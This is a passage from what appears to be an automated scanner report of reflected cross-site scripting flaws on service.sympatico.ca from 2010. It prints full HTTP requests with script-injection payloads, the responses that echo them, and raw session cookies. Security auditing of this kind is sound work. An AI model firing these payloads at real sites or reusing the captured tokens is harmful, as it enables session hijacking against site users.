Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:19 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js15511"><script>alert(1)</script>ac156751645/glossaryDefinition.js" />
...[SNIP]...

2.193. http://service.sympatico.ca/js/glossaryDefinition.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/glossaryDefinition.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4af70"><script>alert(1)</script>a5a07a57663 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/glossaryDefinition.js4af70"><script>alert(1)</script>a5a07a57663 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:28 GMT
Connection: close
Set-Cookie: SMSESSION=+jpDH++/Jaet3cunVJHdh7wCtrRyGRBdeO9R32Qfm35CH4+TSy08goHiAWEJamSg2Lr8CV5cxb9YcLGtLMSiICtkqDpL4fF1O8nBxHEeOgH1oqRgbh+G+oPC/JHofEnVdU4R/JvaMF4FoDBj6MNKzo6Uw+daRdzVcyIcpJhayxhjEsKum9/ByTsbAjPWXxjoWKk2Go3jZqT4kKOcjhemlO4dZaxAdpGGNAn4EZUiHTdviOyRmrkElPmUhv0YjP4utjwnXRIvussW4n1uVgspWq/qgIkk+s98mCJM9YtnbobAbGTgRyp/9w==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:29 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:29 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:29 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:29 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:29 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:29 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:29 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:29 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:29 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:29 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:29 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:29 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:29 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:29 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/glossaryDefinition.js4af70"><script>alert(1)</script>a5a07a57663" />
...[SNIP]...

2.194. http://service.sympatico.ca/js/jquery-ui.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery-ui.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17048"><script>alert(1)</script>cdf76da238a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js17048"><script>alert(1)</script>cdf76da238a/jquery-ui.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:39 GMT
Connection: close
Set-Cookie: SMSESSION=9MZ1gdybQmegns7fVBpbshY8sKQkn7B2w+5vFgNOa0yuHugQzIuP3JJdYrG3rFu4CtCrRhedrkCPj3oyY6B6ZdC15mDcQ+y5CwV9RfDUaNP2OGCgbugRdfcJaqajDdYPLsslbLszkH5xOhkyt0acHYo/DEQo41pekCHsRTCk/PofAJ5UXMTUOdGA2ZrTjzGqKZIL2ydbe2Ir0QOUzb4YgVqbJwxzSXeMT/ygRVoMMgnLZaIgVU/NYTW8uER3ucaXcC+aGRBYQj1dn9P7ZeD2OhVECqrpzlpTS8BElgFXImj40gFI9ZHBPA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:40 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:40 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:40 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:40 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:40 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js17048"><script>alert(1)</script>cdf76da238a/jquery-ui.js" />
...[SNIP]...

2.195. http://service.sympatico.ca/js/jquery-ui.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery-ui.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac72e"><script>alert(1)</script>088ecffc9a0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery-ui.jsac72e"><script>alert(1)</script>088ecffc9a0 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:46 GMT
Connection: close
Set-Cookie: SMSESSION=SQglTGEIsChX4lRIhgbWl/otGrjw0K4mpgHlQpKLnYXQ+rbNubGP1EiZ3qJZMrkdwIWsWstWfgfYMS/7mgz+9uMIFAPVUK2a8HGwKCHmd/c00RQKLEg5uTpENXl+8SrqgIRYr2yqprs46AZ1FJ+XNJ+wbJjoBAhxkPsodGqw2pvVQi34yASY/QHIherR33Nzbcz/YlGQ3KEu4DdEayCsfFHjTjpys6OaZ3CBAzsv3MiRDwvjUKABGohAFfCY/g1c25KohLEZef56jazvotUmgx7YAjHsr/5Fi40IBcKlRkuyuv/qF9ytmw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:46 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:46 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:46 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:46 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:46 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:46 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:46 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:46 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:46 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:46 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:46 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:46 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:46 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%